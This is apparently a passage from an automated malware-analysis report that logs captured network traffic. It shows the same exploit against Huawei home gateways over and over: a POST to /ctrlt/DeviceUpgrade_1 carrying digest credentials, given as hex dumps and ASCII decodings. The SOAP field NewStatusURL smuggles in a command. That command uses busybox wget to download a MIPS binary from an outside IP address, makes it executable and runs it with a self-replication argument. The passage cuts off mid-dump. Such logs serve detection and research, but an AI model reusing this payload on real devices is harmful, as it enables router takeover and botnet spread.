6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 